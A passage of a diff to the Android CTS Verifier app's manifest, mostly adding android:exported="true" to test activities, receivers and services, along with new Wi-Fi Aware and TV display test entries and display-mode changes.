         <activity android:name=".usb.device.UsbDeviceTestActivity"
                 android:label="@string/usb_device_test"
+                android:exported="true"
                 android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2719,7 +2824,8 @@
         </activity>
         -->
 
-        <activity android:name=".usb.mtp.MtpHostTestActivity" android:label="@string/mtp_host_test">
+        <activity android:name=".usb.mtp.MtpHostTestActivity" android:label="@string/mtp_host_test"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
@@ -2735,6 +2841,7 @@
 <!-- Turned off Sensor Power Test in initial L release
         <activity android:name=".sensors.SensorPowerTestActivity"
                 android:label="@string/sensor_power_test"
+                  android:exported="true"
                 android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2747,6 +2854,7 @@
 -->
         <activity android:name=".p2p.P2pTestListActivity"
                 android:label="@string/p2p_test"
+                android:exported="true"
                 android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2765,6 +2873,7 @@
         </activity>
         <activity android:name=".managedprovisioning.IntermediateRecentActivity"
                   android:label="@string/provisioning_byod_recents"
+                  android:exported="true"
                   android:theme="@android:style/Theme.NoDisplay">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.RECENTS" />
@@ -2775,6 +2884,7 @@
         </activity>
         <activity android:name=".wifi.TestListActivity"
                   android:label="@string/wifi_test"
+                  android:exported="true"
                   android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2787,6 +2897,7 @@
         </activity>
         <activity android:name=".wifiaware.TestListActivity"
                   android:label="@string/aware_test"
+                  android:exported="true"
                   android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2799,6 +2910,7 @@
         </activity>
 
         <activity android:name=".notifications.NotificationListenerVerifierActivity"
+                  android:exported="true"
                 android:label="@string/nls_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2809,7 +2921,8 @@
                        android:value="multi_display_mode" />
         </activity>
 
-        <receiver android:name=".notifications.BlockChangeReceiver">
+        <receiver android:name=".notifications.BlockChangeReceiver"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.app.action.NOTIFICATION_CHANNEL_BLOCK_STATE_CHANGED"/>
                 <action android:name="android.app.action.NOTIFICATION_CHANNEL_GROUP_BLOCK_STATE_CHANGED"/>
@@ -2817,13 +2930,22 @@
             </intent-filter>
         </receiver>
 
-        <receiver android:name=".notifications.AutomaticZenRuleStatusReceiver">
+        <receiver android:name=".notifications.ActionTriggeredReceiver"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="com.android.cts.verifier.notifications.ActionTriggeredReceiver"/>
+            </intent-filter>
+        </receiver>
+
+        <receiver android:name=".notifications.AutomaticZenRuleStatusReceiver"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.app.action.AUTOMATIC_ZEN_RULE_STATUS_CHANGED"/>
             </intent-filter>
         </receiver>
 
         <activity android:name=".notifications.ConditionProviderVerifierActivity"
+                  android:exported="true"
                   android:label="@string/cp_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2845,6 +2967,7 @@
         </activity>
 
         <activity android:name=".notifications.AttentionManagementVerifierActivity"
+                  android:exported="true"
                 android:label="@string/attention_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2858,6 +2981,7 @@
         </activity>
 
         <activity android:name=".notifications.BubblesVerifierActivity"
+                  android:exported="true"
                   android:label="@string/bubbles_notification_title">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2872,6 +2996,7 @@
 
         <activity android:name=".notifications.BubbleActivity"
                   android:label="@string/bubble_activity_title"
+                  android:exported="true"
                   android:resizeableActivity="true">
             <intent-filter>
                 <action android:name="android.intent.action.SEND" />
@@ -2893,6 +3018,8 @@
             <intent-filter>
                 <action android:name="android.service.notification.NotificationListenerService" />
             </intent-filter>
+            <meta-data android:name="android.service.notification.default_filter_types"
+                       android:value="1,2,4" />
         </service>
 
         <service android:name=".notifications.MockAssistant"
@@ -2906,6 +3033,7 @@
 
         <activity android:name=".notifications.ShortcutThrottlingResetActivity"
             android:label="@string/shortcut_reset_test"
+                  android:exported="true"
             android:configChanges="mcc|mnc|locale|touchscreen|keyboard|keyboardHidden|navigation|screenLayout|fontScale|uiMode|orientation|screenSize|smallestScreenSize|layoutDirection">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2919,6 +3047,7 @@
         </activity>
 
         <activity android:name=".qstiles.TileServiceVerifierActivity"
+                  android:exported="true"
                   android:label="@string/tiles_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2936,6 +3065,7 @@
                  android:icon="@android:drawable/ic_dialog_alert"
                  android:label="@string/tile_service_name"
                  android:enabled="false"
+                  android:exported="true"
                  android:permission="android.permission.BIND_QUICK_SETTINGS_TILE">
             <intent-filter>
                 <action android:name="android.service.quicksettings.action.QS_TILE" />
@@ -2944,6 +3074,7 @@
 
         <activity android:name=".vr.VrListenerVerifierActivity"
             android:configChanges="uiMode"
+            android:exported="true"
             android:label="@string/vr_tests">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3004,6 +3135,7 @@
         <service  android:name=".notifications.InteractiveVerifierActivity$DismissService"/>
 
         <activity android:name=".security.CAInstallNotificationVerifierActivity"
+                android:exported="true"
                 android:label="@string/cacert_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3014,9 +3146,10 @@
                     android:value="android.hardware.type.watch:android.hardware.type.television:android.software.leanback" />
             <meta-data android:name="test_required_features" android:value="android.software.device_admin" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
         <activity android:name=".security.CANotifyOnBootActivity"
+                android:exported="true"
                 android:label="@string/caboot_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3027,10 +3160,11 @@
                     android:value="android.hardware.type.watch:android.hardware.type.television:android.software.leanback" />
             <meta-data android:name="test_required_features" android:value="android.software.device_admin" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".security.KeyChainTest"
+                android:exported="true"
                 android:label="@string/keychain_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3042,10 +3176,11 @@
             <meta-data android:name="test_excluded_features"
                     android:value="android.hardware.type.watch:android.hardware.type.television:android.software.leanback:android.hardware.type.automotive" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".security.CaCertInstallViaIntentTest"
+                  android:exported="true"
                   android:label="@string/cacert_install_via_intent">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3056,7 +3191,7 @@
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.watch:android.hardware.type.television:android.software.leanback" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifi.NetworkRequestSpecificNetworkSpecifierTestActivity"
@@ -3374,7 +3509,50 @@
                        android:value="single_display_mode" />
         </activity>
 
+        <activity android:name=".wifiaware.DataPathOpenSolicitedPublishAcceptAnyTestActivity"
+                  android:label="@string/aware_data_path_open_solicited_publish"
+                  android:configChanges="keyboardHidden|orientation|screenSize" >
+            <meta-data android:name="display_mode"
+                       android:value="single_display_mode" />
+        </activity>
+
+        <activity android:name=".wifiaware.DataPathPmkUnsolicitedPublishAcceptAnyTestActivity"
+                  android:label="@string/aware_data_path_pmk_unsolicited_publish"
+                  android:configChanges="keyboardHidden|orientation|screenSize" >
+            <meta-data android:name="display_mode"
+                       android:value="single_display_mode" />
+        </activity>
+
+        <activity android:name=".wifiaware.DataPathPmkSolicitedPublishAcceptAnyTestActivity"
+                  android:label="@string/aware_data_path_pmk_solicited_publish"
+                  android:configChanges="keyboardHidden|orientation|screenSize" >
+            <meta-data android:name="display_mode"
+                       android:value="single_display_mode" />
+        </activity>
+
+        <activity android:name=".wifiaware.DataPathPassphraseUnsolicitedPublishAcceptAnyTestActivity"
+                  android:label="@string/aware_data_path_passphrase_unsolicited_publish"
+                  android:configChanges="keyboardHidden|orientation|screenSize" >
+            <meta-data android:name="display_mode"
+                       android:value="single_display_mode" />
+        </activity>
+
+        <activity android:name=".wifiaware.DataPathPassphraseSolicitedPublishAcceptAnyTestActivity"
+                  android:label="@string/aware_data_path_passphrase_solicited_publish"
+                  android:configChanges="keyboardHidden|orientation|screenSize" >
+            <meta-data android:name="display_mode"
+                       android:value="single_display_mode" />
+        </activity>
+
+        <activity android:name=".wifiaware.DataPathOpenUnsolicitedPublishAcceptAnyTestActivity"
+                  android:label="@string/aware_data_path_open_unsolicited_publish"
+                  android:configChanges="keyboardHidden|orientation|screenSize" >
+            <meta-data android:name="display_mode"
+                       android:value="single_display_mode" />
+        </activity>
+
         <activity-alias android:name=".CtsVerifierActivity" android:label="@string/app_name"
+                android:exported="true"
                 android:targetActivity=".TestListActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3385,6 +3563,7 @@
 
         <!-- remove comment from the next activity to see the sample test surfacing in the app -->
         <!-- activity android:name=".sample.SampleTestActivity"
+                android:exported="true"
                   android:label="@string/sample_framework_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3394,6 +3573,7 @@
         </activity -->
 
         <activity android:name=".widget.WidgetTestActivity"
+                android:exported="true"
                 android:label="@string/widget_framework_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3409,6 +3589,7 @@
         </activity>
 
         <activity android:name=".deskclock.DeskClockTestsActivity"
+                android:exported="true"
                   android:label="@string/deskclock_tests">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3427,6 +3608,7 @@
         <activity
                 android:name="com.android.cts.verifier.sensors.StepCounterTestActivity"
                 android:label="@string/snsr_step_counter_test"
+                android:exported="true"
                 android:screenOrientation="nosensor" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3441,6 +3623,7 @@
        <activity
             android:name="com.android.cts.verifier.sensors.StepSensorPermissionTestActivity"
             android:label="@string/snsr_step_permission_test"
+                android:exported="true"
             android:screenOrientation="nosensor" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3459,6 +3642,7 @@
         <activity
                 android:name="com.android.cts.verifier.sensors.DeviceSuspendTestActivity"
                 android:label="@string/snsr_device_suspend_test"
+                android:exported="true"
                 android:screenOrientation="nosensor" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3487,6 +3671,7 @@
         <activity
             android:name="com.android.cts.verifier.sensors.SignificantMotionTestActivity"
             android:label="@string/snsr_significant_motion_test"
+                android:exported="true"
             android:screenOrientation="nosensor" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3505,6 +3690,7 @@
         <activity
             android:name="com.android.cts.verifier.sensors.EventSanitizationTestActivity"
             android:label="@string/snsr_event_sanitization_test"
+            android:exported="true"
             android:screenOrientation="nosensor" >
 
             <intent-filter>
@@ -3547,7 +3733,8 @@
             <meta-data android:name="display_mode" android:value="single_display_mode" />
         </activity>
 
-        <receiver android:name=".widget.WidgetCtsProvider">
+        <receiver android:name=".widget.WidgetCtsProvider"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
             </intent-filter>
@@ -3562,6 +3749,7 @@
             android:exported="false" />
 
         <activity android:name=".projection.cube.ProjectionCubeActivity"
+                android:exported="true"
                   android:label="@string/pca_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3574,6 +3762,7 @@
         </activity>
 
         <activity android:name=".projection.widgets.ProjectionWidgetActivity"
+                android:exported="true"
                   android:label="@string/pwa_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3586,6 +3775,7 @@
         </activity>
 
         <activity android:name=".projection.list.ProjectionListActivity"
+                android:exported="true"
                   android:label="@string/pla_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3599,6 +3789,7 @@
         </activity>
 
         <activity android:name=".projection.video.ProjectionVideoActivity"
+                android:exported="true"
                   android:label="@string/pva_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3612,6 +3803,7 @@
         </activity>
 
         <activity android:name=".projection.touch.ProjectionTouchActivity"
+                android:exported="true"
                   android:label="@string/pta_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3626,6 +3818,7 @@
 
 
         <activity android:name=".projection.offscreen.ProjectionOffscreenActivity"
+                android:exported="true"
                   android:label="@string/poa_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3643,6 +3836,7 @@
                  android:process=":projectionservice" />
 
         <activity android:name=".managedprovisioning.DeviceOwnerNegativeTestActivity"
+                android:exported="true"
                 android:label="@string/negative_device_owner">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3662,6 +3856,7 @@
         </activity>
 
         <activity android:name=".managedprovisioning.EnterprisePrivacyInfoOnlyTestActivity"
+                android:exported="true"
                 android:label="@string/enterprise_privacy_test">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.action.CHECK_ENTERPRISE_PRIVACY_INFO_ONLY" />
@@ -3672,10 +3867,12 @@
         </activity>
 
         <activity android:name=".managedprovisioning.DeviceOwnerPositiveTestActivity"
+                android:exported="true"
                 android:label="@string/positive_device_owner">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <action android:name="com.android.cts.verifier.managedprovisioning.action.CHECK_DEVICE_OWNER" />
+                <action android:name="com.android.cts.verifier.managedprovisioning.action.CHECK_PROFILE_OWNER" />
                 <category android:name="android.intent.category.DEFAULT" />
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
@@ -3688,6 +3885,7 @@
         </activity>
 
         <activity android:name=".managedprovisioning.ManagedUserPositiveTestActivity"
+                 android:exported="true"
                   android:label="@string/managed_user_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3699,6 +3897,7 @@
         </activity>
 
         <activity android:name=".managedprovisioning.DeviceOwnerRequestingBugreportTestActivity"
+                android:exported="true"
                 android:label="@string/device_owner_requesting_bugreport_tests">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3725,6 +3924,7 @@
         </activity>
 
         <activity android:name=".managedprovisioning.CrossProfilePermissionControlActivity"
+                android:exported="true"
                   android:label="@string/provisioning_byod_cross_profile_permission_control">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.action.CROSS_PROFILE_PERMISSION_CONTROL" />
@@ -3741,6 +3941,7 @@
         </activity>
 
         <activity android:name=".managedprovisioning.LockTaskUiTestActivity"
+                android:exported="true"
                 android:label="@string/device_owner_lock_task_ui_test">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.action.STOP_LOCK_TASK" />
@@ -3757,6 +3958,7 @@
         </activity>
 
         <activity android:name=".managedprovisioning.VpnTestActivity"
+                android:exported="true"
                 android:label="@string/device_owner_vpn_test">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.VPN" />
@@ -3767,6 +3969,7 @@
         </activity>
 
         <service android:name=".managedprovisioning.VpnTestActivity$MyTestVpnService"
+                android:exported="true"
                 android:permission="android.permission.BIND_VPN_SERVICE">
             <intent-filter>
                 <action android:name="android.net.VpnService"/>
@@ -3774,6 +3977,7 @@
         </service>
 
         <activity android:name=".managedprovisioning.AlwaysOnVpnSettingsTestActivity"
+                android:exported="true"
                 android:label="@string/provisioning_byod_always_on_vpn">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.action.ALWAYS_ON_VPN_SETTINGS_TEST" />
@@ -3784,6 +3988,7 @@
         </activity>
 
         <activity android:name=".managedprovisioning.KeyChainTestActivity"
+                android:exported="true"
                 android:label="@string/provisioning_byod_keychain">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.KEYCHAIN" />
@@ -3794,6 +3999,7 @@
         </activity>
 
         <activity android:name=".managedprovisioning.PermissionLockdownTestActivity"
+                android:exported="true"
                 android:label="@string/device_profile_owner_permission_lockdown_test">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.action.CHECK_PERMISSION_LOCKDOWN" />
@@ -3805,6 +4011,7 @@
 
         <activity-alias
                 android:name=".managedprovisioning.ManagedProfilePermissionLockdownTestActivity"
+                android:exported="true"
                 android:targetActivity=".managedprovisioning.PermissionLockdownTestActivity">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.action.MANAGED_PROFILE_CHECK_PERMISSION_LOCKDOWN" />
@@ -3819,6 +4026,7 @@
         </activity>
 
         <activity android:name=".managedprovisioning.PolicyTransparencyTestListActivity"
+                android:exported="true"
                 android:label="@string/device_profile_owner_policy_transparency_test">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.action.CHECK_POLICY_TRANSPARENCY" />
@@ -3828,7 +4036,8 @@
                        android:value="single_display_mode" />
         </activity>
 
-        <activity android:name=".managedprovisioning.PolicyTransparencyTestActivity">
+        <activity android:name=".managedprovisioning.PolicyTransparencyTestActivity"
+            android:exported="true">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.action.SHOW_POLICY_TRANSPARENCY_TEST" />
                 <category android:name="android.intent.category.DEFAULT" />
@@ -3838,6 +4047,7 @@
         </activity>
 
         <activity android:name=".managedprovisioning.EnterprisePrivacyTestListActivity"
+                android:exported="true"
                 android:label="@string/enterprise_privacy_test">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.action.CHECK_ENTERPRISE_PRIVACY" />
@@ -3849,6 +4059,7 @@
 
         <activity android:name=".managedprovisioning.EnterprisePrivacyTestDefaultAppActivity"
                 android:label="@string/enterprise_privacy_default_app"
+                android:exported="true"
                 android:enabled="false">
             <intent-filter>
                 <action android:name="android.intent.action.VIEW" />
@@ -3893,6 +4104,7 @@
 
         <activity android:name=".managedprovisioning.CommandReceiverActivity"
                 android:theme="@android:style/Theme.NoDisplay"
+                android:exported="true"
                 android:noHistory="true">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.action.EXECUTE_COMMAND" />
@@ -3902,7 +4114,8 @@
                        android:value="single_display_mode" />
         </activity>
 
-        <activity android:name=".managedprovisioning.SetSupportMessageActivity">
+        <activity android:name=".managedprovisioning.SetSupportMessageActivity"
+            android:exported="true">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.action.SET_SUPPORT_MSG" />
                 <category android:name="android.intent.category.DEFAULT" />
@@ -3913,6 +4126,7 @@
 
         <service android:name=".managedprovisioning.PolicyTransparencyTestActivity$TestInputMethod"
                 android:label="@string/test_input_method_label"
+                android:exported="true"
                 android:permission="android.permission.BIND_INPUT_METHOD">
             <intent-filter>
                 <action android:name="android.view.InputMethod" />
@@ -3922,6 +4136,7 @@
 
         <service android:name=".managedprovisioning.PolicyTransparencyTestActivity$TestAccessibilityService"
                 android:label="@string/test_accessibility_service_label"
+                android:exported="true"
                 android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
             <intent-filter>
                 <action android:name="android.accessibilityservice.AccessibilityService" />
@@ -3929,6 +4144,7 @@
         </service>
 
         <activity android:name=".managedprovisioning.AuthenticationBoundKeyTestActivity"
+                android:exported="true"
                 android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.action.AUTH_BOUND_KEY_TEST" />
@@ -3940,6 +4156,7 @@
 
         <activity android:name=".managedprovisioning.ByodFlowTestActivity"
                 android:launchMode="singleTask"
+                android:exported="true"
                 android:label="@string/provisioning_byod">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3964,13 +4181,20 @@
         </activity>
 
         <receiver
-            android:name=".managedprovisioning.ByodFlowTestActivity$ProvisioningCompleteReceiver">
+            android:name=".managedprovisioning.ByodFlowTestActivity$ProvisioningCompleteReceiver"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.app.action.MANAGED_PROFILE_PROVISIONED" />
             </intent-filter>
         </receiver>
 
+        <!--  TODO(b/176993670): remove if DpmWrapperManagerWrapper goes away -->
+        <receiver android:name="com.android.bedstead.dpmwrapper.TestAppCallbacksReceiver"
+             android:exported="true">
+        </receiver>
+
         <activity android:name=".managedprovisioning.ByodProvisioningTestActivity"
+                android:exported="true"
                 android:label="@string/provisioning_tests_byod">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3987,7 +4211,8 @@
                        android:value="single_display_mode" />
         </activity>
 
-        <activity android:name=".managedprovisioning.ByodHelperActivity">
+        <activity android:name=".managedprovisioning.ByodHelperActivity"
+            android:exported="true">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.BYOD_QUERY" />
                 <action android:name="com.android.cts.verifier.managedprovisioning.BYOD_REMOVE" />
@@ -4022,7 +4247,8 @@
                        android:value="single_display_mode" />
         </activity>
 
-        <activity android:name=".managedprovisioning.ByodPrimaryHelperActivity">
+        <activity android:name=".managedprovisioning.ByodPrimaryHelperActivity"
+            android:exported="true">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.BYOD_INSTALL_APK_IN_PRIMARY" />
                 <category android:name="android.intent.category.DEFAULT" />
@@ -4047,7 +4273,8 @@
                 android:resource="@xml/filepaths" />
         </provider>
 
-        <activity android:name=".managedprovisioning.ByodIconSamplerActivity">
+        <activity android:name=".managedprovisioning.ByodIconSamplerActivity"
+            android:exported="true">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.BYOD_SAMPLE_ICON" />
                 <category android:name="android.intent.category.DEFAULT"></category>
@@ -4057,6 +4284,7 @@
         </activity>
 
         <activity android:name=".managedprovisioning.HandleIntentActivity"
+                android:exported="true"
                 android:enabled="false">
             <intent-filter>
                 <!-- We need to have at least one activity listening to these intents on the device
@@ -4130,7 +4358,8 @@
                        android:value="single_display_mode" />
         </activity>
 
-        <activity android:name=".managedprovisioning.CrossProfileTestActivity">
+        <activity android:name=".managedprovisioning.CrossProfileTestActivity"
+            android:exported="true">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.CROSS_PROFILE_TO_PERSONAL" />
                 <action android:name="com.android.cts.verifier.managedprovisioning.CROSS_PROFILE_TO_WORK" />
@@ -4152,7 +4381,8 @@
                        android:value="single_display_mode" />
         </activity>
 
-        <activity android:name=".managedprovisioning.WorkStatusTestActivity">
+        <activity android:name=".managedprovisioning.WorkStatusTestActivity"
+            android:exported="true">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.WORK_STATUS_ICON" />
                 <action android:name="com.android.cts.verifier.managedprovisioning.WORK_STATUS_TOAST" />
@@ -4169,6 +4399,7 @@
         </activity>
 
         <activity android:name=".managedprovisioning.WorkProfileWidgetActivity"
+                android:exported="true"
                   android:label="@string/provisioning_byod_work_profile_widget">
         <intent-filter>
                 <action android:name="com.android.cts.verifier.byod.test_work_profile_widget"/>
@@ -4180,6 +4411,7 @@
 
         <receiver android:name=".managedprovisioning.DeviceAdminTestReceiver"
                 android:label="@string/afw_device_admin"
+                android:exported="true"
                 android:permission="android.permission.BIND_DEVICE_ADMIN">
             <meta-data android:name="android.app.device_admin"
                        android:resource="@xml/device_admin_byod" />
@@ -4200,6 +4432,7 @@
         </activity>
 
         <activity android:name=".tv.TvInputDiscoveryTestActivity"
+                android:exported="true"
                 android:label="@string/tv_input_discover_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4213,6 +4446,7 @@
         </activity>
 
         <activity android:name=".tv.ParentalControlTestActivity"
+                android:exported="true"
                 android:label="@string/tv_parental_control_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4226,6 +4460,7 @@
         </activity>
 
         <activity android:name=".tv.MultipleTracksTestActivity"
+                android:exported="true"
                 android:label="@string/tv_multiple_tracks_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4239,6 +4474,7 @@
         </activity>
 
         <activity android:name=".tv.TimeShiftTestActivity"
+                android:exported="true"
                 android:label="@string/tv_time_shift_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4253,6 +4489,7 @@
 
         <activity android:name=".tv.AppLinkTestActivity"
             android:label="@string/tv_app_link_test"
+                android:exported="true"
             android:launchMode="singleTask">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4266,6 +4503,7 @@
         </activity>
 
         <activity android:name=".tv.MicrophoneDeviceTestActivity"
+                android:exported="true"
                   android:label="@string/tv_microphone_device_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4293,6 +4531,7 @@
         </activity>
         <activity android:name=".tv.display.DisplayHdrCapabilitiesTestActivity"
                   android:label="@string/tv_hdr_capabilities_test"
+                android:exported="true"
                   android:configChanges="orientation|screenSize|density|smallestScreenSize|screenLayout">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4301,14 +4540,26 @@
             <meta-data android:name="test_category" android:value="@string/test_category_tv" />
             <meta-data android:name="test_required_features"
                        android:value="android.software.leanback" />
-            <meta-data android:name="test_required_configs"
-                       android:value="config_tv_panel"/>
+            <meta-data android:name="display_mode"
+                       android:value="multi_display_mode" />
+        </activity>
+        <activity android:name=".tv.display.DisplayModesTestActivity"
+                  android:label="@string/tv_display_modes_test"
+                android:exported="true"
+                  android:configChanges="orientation|screenSize|density|smallestScreenSize|screenLayout">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_tv"/>
+            <meta-data android:name="test_required_features"
+                       android:value="android.software.leanback"/>
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
         </activity>
 
-
         <activity android:name=".screenpinning.ScreenPinningTestActivity"
+                android:exported="true"
             android:label="@string/screen_pinning_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4321,7 +4572,8 @@
                        android:value="multi_display_mode" />
         </activity>
 
-        <activity android:name=".tv.MockTvInputSetupActivity">
+        <activity android:name=".tv.MockTvInputSetupActivity"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
             </intent-filter>
@@ -4330,6 +4582,7 @@
         </activity>
 
         <activity android:name=".audio.RingerModeActivity"
+                android:exported="true"
                   android:label="@string/ringer_mode_tests">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4344,6 +4597,7 @@
 
         <activity android:name=".audio.HifiUltrasoundTestActivity"
                 android:label="@string/hifi_ultrasound_test"
+                android:exported="true"
                 android:screenOrientation="locked">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4351,12 +4605,12 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.microphone" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.HifiUltrasoundSpeakerTestActivity"
                 android:label="@string/hifi_ultrasound_speaker_test"
+                android:exported="true"
                 android:screenOrientation="locked">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4364,11 +4618,11 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.audio.output" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.AudioOutputDeviceNotificationsActivity"
+                android:exported="true"
                   android:label="@string/audio_out_devices_notifications_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4377,11 +4631,11 @@
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.audio.output" />
             <meta-data android:name="test_excluded_features" android:value="android.software.leanback" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.AudioInputDeviceNotificationsActivity"
+                android:exported="true"
                   android:label="@string/audio_in_devices_notifications_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4390,11 +4644,11 @@
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.microphone" />
             <meta-data android:name="test_excluded_features" android:value="android.software.leanback" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.AudioOutputRoutingNotificationsActivity"
+                android:exported="true"
                   android:label="@string/audio_output_routingnotifications_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4403,11 +4657,11 @@
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.audio.output" />
